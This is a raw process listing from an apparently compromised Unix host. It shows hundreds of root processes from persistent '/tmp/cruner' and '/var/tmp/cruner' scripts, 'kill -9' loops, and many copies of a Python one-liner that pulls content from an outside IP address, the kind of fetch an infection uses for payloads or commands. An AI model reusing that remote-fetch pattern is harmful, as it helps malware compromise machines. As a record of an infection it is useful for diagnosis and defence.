/tmp/cruner > root 11544 11501 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 27642 21057 0 15:45:03 ? 0:00 bash -sh > root 12678 4928 0 - ? 0:00 <defunct> > root 10568 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8769 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 779 17268 0 - ? 0:00 <defunct> > root 9354 3907 0 15:45:41 ? 0:00 bash -sh > root 3869 3865 0 15:45:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1430 22093 0 15:42:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24702 27466 0 15:45:17 ? 0:00 sleep 60 > root 4697 5706 0 - ? 0:00 <defunct> > root 206 10370 0 15:45:18 ? 0:00 sleep 60 > root 28730 2730 0 - ? 0:00 <defunct> > root 4052 16918 0 - ? 0:00 <defunct> > root 14581 25215 0 15:45:55 ? 0:00 bash -sh > root 19354 25124 0 15:43:39 ? 0:00 bash -sh > root 27730 27723 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12590 23845 0 15:45:59 ? 0:00 xargs kill -9 > root 28873 2383 0 15:44:55 ? 0:00 bash -sh > root 10029 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24443 268 0 15:44:54 ? 0:00 bash -sh > root 29072 18908 0 15:45:34 ? 0:00 sleep 60 > root 9140 10855 0 - ? 0:00 <defunct> > root 588 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2031 1990 0 - ? 0:00 <defunct> > root 18039 11480 0 15:45:51 ? 0:00 sleep 60 > root 17889 23365 0 15:43:28 ? 0:00 bash -sh > root 11136 13718 0 15:45:50 ? 0:00 bash -sh > root 26431 10925 0 - ? 0:00 <defunct> > root 3423 9223 0 15:45:48 ? 0:00 sleep 60 > root 796 1 0 01:36:24 ? 0:00 sh /var/tmp/cruner > root 2881 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23579 20928 0 15:45:47 ? 0:00 sleep 60 > root 26078 14886 0 15:44:09 ? 0:00 bash -sh > root 6315 7968 0 15:43:37 ? 0:00 bash -sh > root 7784 3421 0 15:45:49 ? 0:00 bash -sh > root 24092 6695 0 15:45:17 ? 0:00 sleep 60 > root 6266 3609 0 15:44:13 ? 0:00 bash -sh > root 13859 1133 0 15:45:50 ? 0:00 sleep 60 > root 5072 10944 0 15:45:54 ? 0:00 bash -sh > root 13286 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5934 26249 0 15:45:31 ? 0:00 sleep 60 > root 27846 5587 0 15:45:07 ? 0:00 bash -sh > root 7625 17006 0 - ? 0:00 <defunct> > root 12846 7639 0 - ? 0:00 <defunct> > root 24543 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8377 11898 0 15:45:58 ? 0:00 sleep 60 > root 5161 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24030 3349 0 15:45:07 ? 0:00 bash -sh > root 17982 11537 0 - ? 0:00 <defunct> > root 22672 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18829 18456 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 10554 3366 0 15:45:10 ? 0:00 bash -sh > root 1092 25044 0 15:45:44 ? 0:00 bash -sh > root 7959 14890 0 15:43:43 ? 0:00 bash -sh > root 4513 2736 0 - ? 0:00 <defunct> > root 1244 658 0 15:45:19 ? 0:00 sleep 60 > root 12411 18604 0 15:44:39 ? 0:00 bash -sh > root 18027 16215 0 15:44:57 ? 0:00 bash -sh > root 908 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10714 29040 0 15:43:59 ? 0:00 bash -sh > root 14450 7910 0 15:45:41 ? 0:00 xargs kill -9 > root 359 17009 0 15:45:31 ? 0:00 bash -sh > root 27323 16623 0 15:45:53 ? 0:00 sleep 60 > root 11169 1 0 20:07:55 ? 0:00 sh /var/tmp/cruner > root 9082 15339 0 - ? 0:00 <defunct> > root 4550 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1296 22249 0 15:45:34 ? 0:00 sleep 60 > root 1784 18364 0 15:45:31 ? 0:00 sleep 60 > root 14639 9034 0 - ? 0:00 <defunct> > root 11035 19854 0 15:43:59 ? 0:00 bash -sh > root 21810 6270 0 15:44:53 ? 0:00 bash -sh > root 14281 14260 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10491 190 0 15:45:10 ? 0:00 bash -sh > root 12933 4109 0 15:44:15 ? 0:00 bash -sh > root 11215 29670 0 15:45:10 ? 0:00 bash -sh > root 5189 5937 0 - ? 0:00 <defunct> > root 4569 21646 0 15:46:11 ? 0:00 /bin/ksh -p /bin/kill -9 > root 8631 1007 0 15:43:09 ? 0:00 bash -sh > root 6112 15024 0 - ? 0:00 <defunct> > root 28724 6545 0 15:45:39 ? 0:00 xargs kill -9 > root 17216 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5042 28308 0 15:46:06 ? 0:00 sleep 60 > root 22025 21851 0 - ? 0:00 <defunct> > root 12247 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15087 20932 0 15:45:11 ? 0:00 bash -sh > root 14370 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 11720 6608 0 - ? 0:00 <defunct> > root 20233 4744 0 - ? 0:00 <defunct> > root 6488 6486 0 - ? 0:00 <defunct> > root 9187 5280 0 15:43:10 ? 0:00 bash -sh > root 25216 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5977 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18069 23212 0 - ? 0:00 <defunct> > root 23596 8028 0 15:44:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21906 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9930 7616 0 - ? 0:00 <defunct> > root 25157 22949 0 - ? 0:00 <defunct> > root 10816 26808 0 15:46:12 ? 0:00 sleep 60 > root 27502 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19261 18411 0 15:45:42 ? 0:00 sleep 60 > root 17143 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25898 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29680 28174 0 15:45:27 ? 0:00 bash -sh > root 552 29507 0 15:44:11 ? 0:00 bash -sh > root 29544 18519 0 15:46:11 ? 0:00 grep :5555 > root 6527 20187 0 15:45:09 ? 0:00 bash -sh > root 15480 13959 0 15:46:08 ? 0:00 bash -sh > root 28284 13772 0 15:45:23 ? 0:00 bash -sh > root 11471 23424 0 15:46:07 ? 0:00 bash -sh > root 29941 29930 0 - ? 0:00 <defunct> > root 9353 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9325 13863 0 15:45:41 ? 0:00 sh /tmp/cruner > root 25842 21375 0 15:45:47 ? 0:00 sleep 60 > root 24132 18118 0 15:45:43 ? 0:00 sleep 60 > root 445 22796 0 - ? 0:00 <defunct> > root 3015 27859 0 15:46:06 ? 0:00 sleep 60 > root 15523 15505 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2493 15858 0 - ? 0:00 <defunct> > root 12892 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 747 18773 0 15:44:55 ? 0:00 bash -sh > root 10371 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12477 11429 0 15:46:08 ? 0:00 xargs kill -9 > root 13764 3706 0 - ? 0:00 <defunct> > root 12529 6373 0 - ? 0:00 <defunct> > root 24487 15169 0 15:45:52 ? 0:00 sleep 60 > root 23038 237 0 15:44:19 ? 0:00 bash -sh > root 15911 22901 0 15:45:11 ? 0:00 sh /var/tmp/cruner > root 22872 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23628 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6599 14058 0 15:45:20 ? 0:00 bash -sh > root 8794 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24753 10687 0 15:45:52 ? 0:00 sleep 60 > root 8543 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15819 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29551 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29498 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 65 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28222 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27010 22076 0 15:45:47 ? 0:00 sleep 60 > root 20574 3842 0 15:45:12 ? 0:00 bash -sh > root 9689 26998 0 - ? 0:00 <defunct> > root 10488 27028 0 15:45:28 ? 0:00 sleep 60 > root 26973 4472 0 - ? 0:00 <defunct> > root 16598 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1935 22500 0 15:44:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2962 23252 0 - ? 0:00 <defunct> > root 9390 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3027 10394 0 15:46:11 ? 0:00 sleep 60 > root 8286 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4220 16035 0 - ? 0:00 <defunct> > root 16961 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25656 20196 0 - ? 0:00 <defunct> > root 3716 3151 0 15:43:25 ? 0:00 bash -sh > root 23077 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18293 315 0 15:43:39 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1545 488 0 15:44:11 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7570 19635 0 - ? 0:00 <defunct> > root 24901 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7171 20774 0 - ? 0:00 <defunct> > root 6901 18830 0 15:45:35 ? 0:00 sleep 60 > root 20295 17496 0 15:45:46 ? 0:00 /bin/ksh -p /bin/kill -9 > root 23186 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9676 9662 0 15:45:54 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1912 7564 0 15:45:48 ? 0:00 sleep 60 > root 5167 26623 0 - ? 0:00 <defunct> > root 27637 25381 0 15:45:34 ? 0:00 sleep 60 > root 17458 962 0 15:45:51 ? 0:00 sleep 60 > root 12073 20277 0 15:46:13 ? 0:00 sh /tmp/cruner > root 17066 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28738 18220 0 15:43:06 ? 0:00 bash -sh > root 20552 10893 0 15:45:52 ? 0:00 bash -sh > root 1229 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2534 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6769 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5425 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11652 11374 0 15:46:13 ? 0:00 bash -sh > root 9171 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7767 27516 0 - ? 0:00 <defunct> > root 15772 314 0 15:45:46 ? 0:00 bash -sh > root 27332 29572 0 15:45:14 ? 0:00 sleep 60 > root 24045 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21646 12631 0 15:46:09 ? 0:00 xargs kill -9 > root 27494 7515 0 - ? 0:00 <defunct> > root 6170 19959 0 15:45:35 ? 0:00 sleep 60 > root 24470 25948 0 15:45:47 ? 0:00 sh /tmp/cruner > root 14455 11560 0 - ? 0:00 <defunct> > root 16196 469 0 15:44:52 ? 0:00 bash -sh > root 7362 11647 0 - ? 0:00 <defunct> > root 19891 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28486 5016 0 15:44:10 ? 0:00 bash -sh > root 28435 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1963 23521 0 15:46:11 ? 0:00 xargs kill -9 > root 1562 3507 0 15:45:53 ? 0:00 sh /tmp/cruner > root 6552 6458 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14625 15775 0 15:44:52 ? 0:00 bash -sh > root 10664 13968 0 - ? 0:00 <defunct> > root 20741 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 25410 29557 0 - ? 0:00 <defunct> > root 6746 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6185 24740 0 - ? 0:00 <defunct> > root 25208 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 27213 10860 0 - ? 0:00 <defunct> > root 20089 2088 0 - ? 0:00 <defunct> > root 10503 22607 0 15:46:12 ? 0:00 xargs kill -9 > root 23919 27158 0 - ? 0:00 <defunct> > root 7440 19363 0 15:45:36 ? 0:00 bash -sh > root 6558 20905 0 - ? 0:00 <defunct> > root 10560 6760 0 - ? 0:00 <defunct> > root 1651 29788 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9157 4306 0 15:44:47 ? 0:00 bash -sh > root 29249 27788 0 15:44:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15708 15566 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 989 24119 0 15:46:11 ? 0:00 awk {print $7} > root 10412 14675 0 - ? 0:00 <defunct> > root 15938 13360 0 15:46:08 ? 0:00 sh /tmp/cruner > root 29513 18627 0 15:45:48 ? 0:00 bash -sh > root 20040 4266 0 15:45:51 ? 0:00 bash -sh > root 23858 9590 0 - ? 0:00 <defunct> > root 11473 6269 0 - ? 0:00 <defunct> > root 9247 12315 0 15:46:12 ? 0:00 bash -sh > root 11891 12100 0 15:46:13 ? 0:00 bash -sh > root 25506 28920 0 15:45:57 ? 0:00 sleep 60 > root 15683 24350 0 - ? 0:00 <defunct> > root 10614 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20377 17342 0 15:46:04 ? 0:00 sleep 60 > root 28602 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9389 23460 0 - ? 0:00 <defunct> > root 14506 3949 0 15:44:52 ? 0:00 bash -sh > root 11385 17670 0 15:46:13 ? 0:00 sleep 60 > root 17093 18339 0 15:45:51 ? 0:00 bash -sh > root 24818 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 10872 2003 0 - ? 0:00 <defunct> > root 7002 1242 0 15:45:35 ? 0:00 sleep 60 > root 25926 14482 0 15:45:13 ? 0:00 bash -sh > root 25071 5743 0 15:44:54 ? 0:00 bash -sh > root 27830 7340 0 15:46:02 ? 0:00 sleep 60 > root 43 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23019 21475 0 15:45:43 ? 0:00 sleep 60 > root 23924 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3161 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2816 11110 0 15:45:14 ? 0:00 bash -sh > root 19162 4641 0 15:45:29 ? 0:00 sleep 60 > root 13180 13178 0 15:45:50 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7894 11570 0 15:44:51 ? 0:00 bash -sh > root 5117 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18031 10715 0 15:44:57 ? 0:00 bash -sh > root 7452 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 19424 21512 0 - ? 0:00 <defunct> > root 26654 6121 0 15:45:34 ? 0:00 sleep 60 > root 24036 20846 0 15:45:13 ? 0:00 xargs kill -9 > root 1152 17208 0 15:45:27 ? 0:00 sleep 60 > root 19783 385 0 15:44:53 ? 0:00 bash -sh > root 13998 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24333 15297 0 15:45:38 ? 0:00 bash -sh > root 26946 4330 0 15:46:10 ? 0:00 sh /var/tmp/cruner > root 1170 13752 0 15:43:41 ? 0:00 bash -sh > root 8835 16072 0 15:46:07 ? 0:00 sleep 60 > root 8406 14656 0 15:44:03 ? 0:00 bash -sh > root 584 25573 0 15:46:06 ? 0:00 bash -sh > root 14595 26191 0 15:43:38 ? 0:00 bash -sh > root 10520 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13155 21977 0 15:46:13 ? 0:00 bash -sh > root 16682 4325 0 - ? 0:00 <defunct> > root 8547 9905 0 15:45:25 ? 0:00 sleep 60 > root 28073 22964 0 15:45:43 ? 0:00 sh /var/tmp/cruner > root 21143 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20621 16837 0 15:45:06 ? 0:00 bash -sh > root 7024 21614 0 - ? 0:00 <defunct> > root 10161 10154 0 - ? 0:00 <defunct> > root 6044 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12139 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3160 8679 0 15:44:02 ? 0:00 bash -sh > root 12843 583 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24417 7621 0 15:46:05 ? 0:00 sleep 60 > root 3815 21456 0 15:45:44 ? 0:00 sleep 60 > root 6870 5697 0 - ? 0:00 <defunct> > root 17528 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26618 8994 0 15:44:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13734 10603 0 - ? 0:00 <defunct> > root 8947 3200 0 15:45:40 ? 0:00 bash -sh > root 1360 1 0 21:09:33 ? 0:00 sh /tmp/cruner > root 12839 25520 0 - ? 0:00 <defunct> > root 26437 17902 0 15:45:47 ? 0:00 /bin/ksh -p /bin/kill -9 > root 24961 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19402 139 0 15:46:00 ? 0:00 sleep 60 > root 20916 13267 0 15:45:42 ? 0:00 bash -sh > root 1264 10761 0 - ? 0:00 <defunct> > root 21320 28306 0 15:45:26 ? 0:00 sleep 60 > root 95 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15515 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19376 8650 0 - ? 0:00 <defunct> > root 14967 13368 0 - ? 0:00 <defunct> > root 4592 28408 0 15:46:11 ? 0:00 sh /var/tmp/cruner > root 19776 1 0 21:16:46 ? 0:00 sh /var/tmp/cruner > root 1555 13449 0 15:44:11 ? 0:00 bash -sh > root 22346 28890 0 15:44:19 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13290 1633 0 15:44:16 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25932 19632 0 15:42:55 ? 0:00 bash -sh > root 3246 2050 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18998 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23383 6873 0 15:45:30 ? 0:00 sleep 60 > root 29834 10981 0 15:45:48 ? 0:00 sh /tmp/cruner > root 12282 24860 0 - ? 0:00 <defunct> > root 22060 12308 0 15:45:33 ? 0:00 sleep 60 > root 17016 26006 0 - ? 0:00 <defunct> > root 18296 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 15898 14249 0 15:45:41 ? 0:00 xargs kill -9 > root 24801 9866 0 15:45:39 ? 0:00 bash -sh > root 10243 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 939 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17108 17094 0 15:45:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8228 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12063 29190 0 15:45:11 ? 0:00 sleep 60 > root 26989 9084 0 15:45:47 ? 0:00 sleep 60 > root 28500 21036 0 15:45:47 ? 0:00 sh /var/tmp/cruner > root 29669 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29943 363 0 15:45:34 ? 0:00 sleep 60 > root 24137 27041 0 15:45:43 ? 0:00 sleep 60 > root 27958 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16540 7894 0 - ? 0:00 <defunct> > root 732 1811 0 15:45:34 ? 0:00 sleep 60 > root 5611 5463 0 15:44:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19516 8056 0 15:45:42 ? 0:00 sleep 60 > root 16925 14227 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 11517 1130 0 15:45:36 ? 0:00 bash -sh > root 27048 17786 0 15:46:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1770 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13406 13522 0 15:45:50 ? 0:00 bash -sh > root 20748 3846 0 15:45:22 ? 0:00 sleep 60 > root 12429 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1098 12152 0 15:45:48 ? 0:00 sleep 60 > root 19859 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 21563 4250 0 - ? 0:00 <defunct> > root 9311 26807 0 - ? 0:00 <defunct> > root 22847 9881 0 15:43:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5233 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7759 10916 0 15:45:58 ? 0:00 sleep 60 > root 16662 289 0 - ? 0:00 <defunct> > root 20776 9927 0 15:43:39 ? 0:00 bash -sh > root 27962 2897 0 15:44:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 315 18529 0 15:43:36 ? 0:00 bash -sh > root 18185 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 14755 13495 0 - ? 0:00 <defunct> > root 19069 25696 0 15:45:12 ? 0:00 sh /var/tmp/cruner > root 24358 589 0 15:44:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26399 3538 0 15:45:23 ? 0:00 bash -sh > root 4053 12735 0 - ? 0:00 <defunct> > root 12546 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 3256 13920 0 15:46:02 ? 0:00 sleep 60 > root 14748 19242 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 2775 1687 0 15:45:48 ? 0:00 /bin/ksh -p /bin/kill -9 > root 1896 19859 0 15:45:19 ? 0:00 sleep 60 > root 2529 2523 0 - ? 0:00 <defunct> > root 25106 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10964 3276 0 15:45:55 ? 0:00 sleep 60 > root 25498 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28997 24827 0 - ? 0:00 <defunct> > root 21125 500 0 15:45:42 ? 0:00 xargs kill -9 > root 10283 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28707 26048 0 15:46:02 ? 0:00 sh /var/tmp/cruner > root 19427 18323 0 15:43:13 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 21418 743 0 - ? 0:00 <defunct> > root 27752 27659 0 - ? 0:00 <defunct> > root 15142 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 6355 14442 0 15:45:35 ? 0:00 bash -sh > root 16478 3443 0 15:46:08 ? 0:00 sh /tmp/cruner > root 15382 22409 0 15:45:46 ? 0:00 bash -sh > root 1418 1415 0 15:46:02 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1780 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20847 11762 0 - ? 0:00 <defunct> > root 2029 24067 0 - ? 0:00 <defunct> > root 10807 15436 0 15:46:12 ? 0:00 bash -sh > root 29160 4235 0 - ? 0:00 <defunct> > root 29100 6036 0 15:45:47 ? 0:00 sleep 60 > root 24862 4537 0 15:45:30 ? 0:00 sleep 60 > root 18040 69 0 - ? 0:00 <defunct> > root 17766 15015 0 - ? 0:00 <defunct> > root 23500 25798 0 15:45:57 ? 0:00 xargs kill -9 > root 15577 15551 0 15:46:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17171 9117 0 - ? 0:00 <defunct> > root 5030 17604 0 - ? 0:00 <defunct> > root 7489 7479 0 15:46:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8716 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26612 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7212 6683 0 15:46:07 ? 0:00 bash -sh > root 16820 18739 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 3576 23407 0 15:46:11 ? 0:00 sleep 60 > root 6889 144 0 - ? 0:00 <defunct> > root 28927 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6105 12372 0 15:43:42 ? 0:00 bash -sh > root 18434 20726 0 - ? 0:00 <defunct> > root 21425 23958 0 15:45:26 ? 0:00 bash -sh > root 506 29858 0 15:45:34 ? 0:00 sleep 60 > root 25331 16610 0 15:46:10 ? 0:00 sleep 60 > root 28005 19379 0 15:46:02 ? 0:00 bash -sh > root 11963 17442 0 - ? 0:00 <defunct> > root 22555 2634 0 - ? 0:00 <defunct> > root 6190 16898 0 15:45:20 ? 0:00 sleep 60 > root 12410 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16995 4945 0 15:46:08 ? 0:00 bash -sh > root 15344 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 884 6722 0 15:46:06 ? 0:00 sleep 60 > root 10177 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25946 11862 0 15:44:54 ? 0:00 sh /tmp/cruner > root 24623 24609 0 15:43:05 ? 0:00 bash -sh > root 10449 11594 0 15:45:41 ? 0:00 xargs kill -9 > root 28806 18674 0 15:45:39 ? 0:00 sleep 60 > root 1189 15064 0 15:45:34 ? 0:00 sleep 60 > root 24236 23487 0 15:44:45 ? 0:00 bash -sh > root 20679 9050 0 - ? 0:00 <defunct> > root 29725 1664 0 - ? 0:00 <defunct> > root 16322 26453 0 15:45:51 ? 0:00 bash -sh > root 17789 10760 0 15:45:29 ? 0:00 sleep 60 > root 15445 2295 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 5582 16567 0 15:46:12 ? 0:00 bash -sh > root 22363 13773 0 15:44:27 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24926 22613 0 - ? 0:00 <defunct> > root 21652 23038 0 - ? 0:00 <defunct> > root 17063 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25685 10741 0 - ? 0:00 <defunct> > root 26253 473 0 15:46:10 ? 0:00 sleep 60 > root 10548 16226 0 15:45:41 ? 0:00 sleep 60 > root 5727 2641 0 15:44:34 ? 0:00 bash -sh > root 14752 14732 0 15:46:00 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8993 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9138 25099 0 - ? 0:00 <defunct> > root 1823 22613 0 - ? 0:00 <defunct> > root 10314 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7653 12302 0 15:45:28 ? 0:00 sleep 60 > root 21844 21263 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19708 29502 0 15:46:00 ? 0:00 sleep 60 > root 25366 4237 0 - ? 0:00 <defunct> > root 11429 28091 0 15:45:59 ? 0:00 bash -sh > root 24504 1548 0 - ? 0:00 <defunct> > root 26589 21106 0 15:45:53 ? 0:00 bash -sh > root 14163 6308 0 15:45:51 ? 0:00 bash -sh > root 350 15817 0 15:45:18 ? 0:00 bash -sh > root 7151 17160 0 - ? 0:00 <defunct> > root 16135 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21494 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 26189 29542 0 15:45:27 ? 0:00 sleep 60 > root 17552 24068 0 - ? 0:00 <defunct> > root 29821 29762 0 - ? 0:00 <defunct> > root 11290 1515 0 15:44:47 ? 0:00 bash -sh > root 29731 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10478 14854 0 15:46:12 ? 0:00 bash -sh > root 3480 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 19764 26072 0 - ? 0:00 <defunct> > root 3124 19541 0 - ? 0:00 <defunct> > root 808 6054 0 15:45:44 ? 0:00 bash -sh > root 5171 514 0 15:45:40 ? 0:00 bash -sh > root 1129 8561 0 15:44:55 ? 0:00 bash -sh > root 20347 4152 0 15:45:52 ? 0:00 bash -sh > root 2743 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11618 17214 0 - ? 0:00 <defunct> > root 25560 13542 0 15:43:40 ? 0:00 bash -sh > root 21639 28372 0 15:42:06 ? 0:00 bash -sh > root 16783 12102 0 15:44:52 ? 0:00 bash -sh > root 14959 6371 0 15:46:13 ? 0:00 bash -sh > root 12165 15001 0 15:45:59 ? 0:00 sleep 60 > root 9954 7588 0 15:46:07 ? 0:00 sleep 60 > root 23872 22454 0 15:46:05 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26453 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24882 7837 0 15:45:47 ? 0:00 xargs kill -9 > root 18504 6673 0 15:44:35 ? 0:00 bash -sh > root 18196 22159 0 - ? 0:00 